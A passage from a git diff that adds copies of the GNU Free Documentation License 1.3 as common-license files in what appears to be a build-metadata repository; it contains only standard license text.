+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies (or copies in media that commonly have printed covers) of the Document, numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a computer-network location from which the general network-using public has access to download using public-standard network protocols a complete Transparent copy of the Document, free of added material. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has fewer than five), unless they release you from this requirement.
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice. H. Include an unaltered copy of this License.
+ I. Preserve the section Entitled "History", Preserve its Title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section Entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. For any section Entitled "Acknowledgements" or "Dedications", Preserve the Title of the section, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section Entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section to be Entitled "Endorsements" or to conflict in title with any Invariant Section.
+ O. Preserve any Warranty Disclaimers.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section Entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice, and that you preserve all their Warranty Disclaimers.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections Entitled "History" in the various original documents, forming one section Entitled "History"; likewise combine any sections Entitled "Acknowledgements", and any sections Entitled "Dedications". You must delete all sections Entitled "Endorsements".
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, is called an "aggregate" if the copyright resulting from the compilation is not used to limit the legal rights of the compilation's users beyond what the individual works permit. When the Document is included in an aggregate, this License does not apply to the other works in the aggregate which are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one half of the entire aggregate, the Document's Cover Texts may be placed on covers that bracket the Document within the aggregate, or the electronic equivalent of covers if the Document is in electronic form. Otherwise they must appear on printed covers that bracket the whole aggregate.
+
+8. TRANSLATION
+
+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License, and all the license notices in the Document, and any Warranty Disclaimers, provided that you also include the original English version of this License and the original versions of those notices and disclaimers. In case of a disagreement between the translation and the original version of this License or a notice or disclaimer, the original version will prevail.
+
+If a section in the Document is Entitled "Acknowledgements", "Dedications", or "History", the requirement (section 4) to Preserve its Title (section 1) will typically require changing the actual title.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense, or distribute it is void, and will automatically terminate your rights under this License.
+
+However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation.
+
+Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice.
+
+Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, receipt of a copy of some or all of the same material does not give you any rights to use it.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation. If the Document specifies that a proxy can decide which future versions of this License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Document.
+
+11. RELICENSING
+
+"Massive Multiauthor Collaboration Site" (or "MMC Site") means any World Wide Web server that publishes copyrightable works and also provides prominent facilities for anybody to edit those works. A public wiki that anybody can edit is an example of such a server. A "Massive Multiauthor Collaboration" (or "MMC") contained in the site means any set of copyrightable works thus published on the MMC site.
+
+"CC-BY-SA" means the Creative Commons Attribution-Share Alike 3.0 license published by Creative Commons Corporation, a not-for-profit corporation with a principal place of business in San Francisco, California, as well as future copyleft versions of that license published by that same organization.
+
+"Incorporate" means to publish or republish a Document, in whole or in part, as part of another Document.
+
+An MMC is "eligible for relicensing" if it is licensed under this License, and if all works that were first published under this License somewhere other than this MMC, and subsequently incorporated in whole or in part into the MMC, (1) had no cover texts or invariant sections, and (2) were thus incorporated prior to November 1, 2008.
+
+The operator of an MMC Site may republish an MMC contained in the site under CC-BY-SA on the same site at any time before August 1, 2009, provided the MMC is eligible for relicensing.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts, replace the "with...Texts." line with this:
+
+ with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST.
+
+If you have Invariant Sections without Cover Texts, or some other combination of the three, merge those two alternatives to suit the situation.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GFDL-1.3-invariants-or-later b/meta/files/common-licenses/GFDL-1.3-invariants-or-later
new file mode 100644
index 0000000000..b51dc2ab16
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.3-invariants-or-later
@@ -0,0 +1,149 @@
+GNU Free Documentation License
+Version 1.3, 3 November 2008
+
+Copyright (C) 2000, 2001, 2002, 2007, 2008 Free Software Foundation, Inc. <http://fsf.org/>
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other functional and useful document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work, in any medium, that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. Such a notice grants a world-wide, royalty-free license, unlimited in duration, to use that work under the conditions stated herein. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you". You accept the license if you copy, modify or distribute the work in a way requiring permission under copyright law.
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (Thus, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License. If a section does not fit the above definition of Secondary then it is not allowed to be designated as Invariant. The Document may contain zero Invariant Sections. If the Document does not identify any Invariant Sections then there are none.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License. A Front-Cover Text may be at most 5 words, and a Back-Cover Text may be at most 25 words.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, that is suitable for revising the document straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup, or absence of markup, has been arranged to thwart or discourage subsequent modification by readers is not Transparent. An image format is not Transparent if used for any substantial amount of text. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML, PostScript or PDF designed for human modification. Examples of transparent image formats include PNG, XCF and JPG. Opaque formats include proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML, PostScript or PDF produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+The "publisher" means any person or entity that distributes copies of the Document to the public.
+
+A section "Entitled XYZ" means a named subunit of the Document whose title either is precisely XYZ or contains XYZ in parentheses following text that translates XYZ in another language. (Here XYZ stands for a specific section name mentioned below, such as "Acknowledgements", "Dedications", "Endorsements", or "History".) To "Preserve the Title" of such a section when you modify the Document means that it remains a section "Entitled XYZ" according to this definition.
+
+The Document may include Warranty Disclaimers next to the notice which states that this License applies to the Document. These Warranty Disclaimers are considered to be included by reference in this License, but only as regards disclaiming warranties: any other implication that these Warranty Disclaimers may have is void and has no effect on the meaning of this License.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies (or copies in media that commonly have printed covers) of the Document, numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a computer-network location from which the general network-using public has access to download using public-standard network protocols a complete Transparent copy of the Document, free of added material. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has fewer than five), unless they release you from this requirement.
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice. H. Include an unaltered copy of this License.
+ I. Preserve the section Entitled "History", Preserve its Title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section Entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. For any section Entitled "Acknowledgements" or "Dedications", Preserve the Title of the section, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section Entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section to be Entitled "Endorsements" or to conflict in title with any Invariant Section.
+ O. Preserve any Warranty Disclaimers.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section Entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice, and that you preserve all their Warranty Disclaimers.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections Entitled "History" in the various original documents, forming one section Entitled "History"; likewise combine any sections Entitled "Acknowledgements", and any sections Entitled "Dedications". You must delete all sections Entitled "Endorsements".
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, is called an "aggregate" if the copyright resulting from the compilation is not used to limit the legal rights of the compilation's users beyond what the individual works permit. When the Document is included in an aggregate, this License does not apply to the other works in the aggregate which are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one half of the entire aggregate, the Document's Cover Texts may be placed on covers that bracket the Document within the aggregate, or the electronic equivalent of covers if the Document is in electronic form. Otherwise they must appear on printed covers that bracket the whole aggregate.
+
+8. TRANSLATION
+
+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License, and all the license notices in the Document, and any Warranty Disclaimers, provided that you also include the original English version of this License and the original versions of those notices and disclaimers. In case of a disagreement between the translation and the original version of this License or a notice or disclaimer, the original version will prevail.
+
+If a section in the Document is Entitled "Acknowledgements", "Dedications", or "History", the requirement (section 4) to Preserve its Title (section 1) will typically require changing the actual title.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense, or distribute it is void, and will automatically terminate your rights under this License.
+
+However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation.
+
+Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice.
+
+Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, receipt of a copy of some or all of the same material does not give you any rights to use it.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation. If the Document specifies that a proxy can decide which future versions of this License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Document.
+
+11. RELICENSING
+
+"Massive Multiauthor Collaboration Site" (or "MMC Site") means any World Wide Web server that publishes copyrightable works and also provides prominent facilities for anybody to edit those works. A public wiki that anybody can edit is an example of such a server. A "Massive Multiauthor Collaboration" (or "MMC") contained in the site means any set of copyrightable works thus published on the MMC site.
+
+"CC-BY-SA" means the Creative Commons Attribution-Share Alike 3.0 license published by Creative Commons Corporation, a not-for-profit corporation with a principal place of business in San Francisco, California, as well as future copyleft versions of that license published by that same organization.
+
+"Incorporate" means to publish or republish a Document, in whole or in part, as part of another Document.
+
+An MMC is "eligible for relicensing" if it is licensed under this License, and if all works that were first published under this License somewhere other than this MMC, and subsequently incorporated in whole or in part into the MMC, (1) had no cover texts or invariant sections, and (2) were thus incorporated prior to November 1, 2008.
+
+The operator of an MMC Site may republish an MMC contained in the site under CC-BY-SA on the same site at any time before August 1, 2009, provided the MMC is eligible for relicensing.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts, replace the "with...Texts." line with this:
+
+ with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST.
+
+If you have Invariant Sections without Cover Texts, or some other combination of the three, merge those two alternatives to suit the situation.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GFDL-1.3-no-invariants-only b/meta/files/common-licenses/GFDL-1.3-no-invariants-only
new file mode 100644
index 0000000000..b51dc2ab16
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.3-no-invariants-only
@@ -0,0 +1,149 @@
+GNU Free Documentation License
+Version 1.3, 3 November 2008
+
+Copyright (C) 2000, 2001, 2002, 2007, 2008 Free Software Foundation, Inc. <http://fsf.org/>
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other functional and useful document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work, in any medium, that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. Such a notice grants a world-wide, royalty-free license, unlimited in duration, to use that work under the conditions stated herein. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you". You accept the license if you copy, modify or distribute the work in a way requiring permission under copyright law.
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (Thus, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License. If a section does not fit the above definition of Secondary then it is not allowed to be designated as Invariant. The Document may contain zero Invariant Sections. If the Document does not identify any Invariant Sections then there are none.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License. A Front-Cover Text may be at most 5 words, and a Back-Cover Text may be at most 25 words.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, that is suitable for revising the document straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup, or absence of markup, has been arranged to thwart or discourage subsequent modification by readers is not Transparent. An image format is not Transparent if used for any substantial amount of text. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML, PostScript or PDF designed for human modification. Examples of transparent image formats include PNG, XCF and JPG. Opaque formats include proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML, PostScript or PDF produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+The "publisher" means any person or entity that distributes copies of the Document to the public.
+
+A section "Entitled XYZ" means a named subunit of the Document whose title either is precisely XYZ or contains XYZ in parentheses following text that translates XYZ in another language. (Here XYZ stands for a specific section name mentioned below, such as "Acknowledgements", "Dedications", "Endorsements", or "History".) To "Preserve the Title" of such a section when you modify the Document means that it remains a section "Entitled XYZ" according to this definition.
+
+The Document may include Warranty Disclaimers next to the notice which states that this License applies to the Document. These Warranty Disclaimers are considered to be included by reference in this License, but only as regards disclaiming warranties: any other implication that these Warranty Disclaimers may have is void and has no effect on the meaning of this License.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies (or copies in media that commonly have printed covers) of the Document, numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a computer-network location from which the general network-using public has access to download using public-standard network protocols a complete Transparent copy of the Document, free of added material. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
